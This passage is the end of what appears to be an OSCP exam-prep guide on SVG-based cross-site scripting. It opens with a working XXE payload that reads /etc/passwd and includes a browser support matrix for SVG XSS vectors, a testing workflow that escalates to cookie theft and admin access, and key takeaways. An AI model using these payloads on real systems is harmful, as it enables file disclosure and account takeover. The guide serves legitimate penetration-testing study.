<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg><text>&xxe;</text></svg>
12.2 Browser Compatibility Matrix
| Vector | Chrome | Firefox | Safari | Edge | IE11 |
|---|---|---|---|---|---|
<svg onload> |
Yes | Yes | Yes | Yes | Yes |
<script> in SVG |
Yes | Yes | Yes | Yes | Yes |
<foreignObject> |
Yes | Yes | Yes | Yes | Partial |
| Data URI SVG | Yes | Yes | Yes | Yes | No |
| CSS animations | Yes | Yes | Yes | Yes | Partial |
<animate> |
Yes | Yes | Yes | Yes | Yes |
12.3 Testing Workflow
1. Find upload point
↓
2. Upload benign SVG
↓
3. Verify SVG is accessible
↓
4. Upload SVG with XSS payload
↓
5. Access SVG URL
↓
6. Verify XSS execution
↓
7. Escalate to cookie theft / admin access
↓
8. Document findings
12.4 Key Takeaways
- SVG is XML with JavaScript - treat it as executable code, not just an image
- foreignObject is powerful - allows full HTML injection within SVG
- Data URIs are versatile - work in img, CSS, JS, and more
- Upload filters often miss SVG - test every upload point
- Stored XSS via SVG is common - avatars, logos, and documents are prime targets
- Combine techniques - SVG XSS + CSRF + privilege escalation = full compromise
- Always sanitize - if you must accept SVG, use a proper sanitizer library
References
- OWASP SVG Security
- PortSwigger XSS Cheat Sheet
- MDN SVG Documentation
- SVG Security Research - Various
- DOMPurify SVG Sanitization
Last Updated: 2026-09-01 Prepared for OSCP Exam Preparation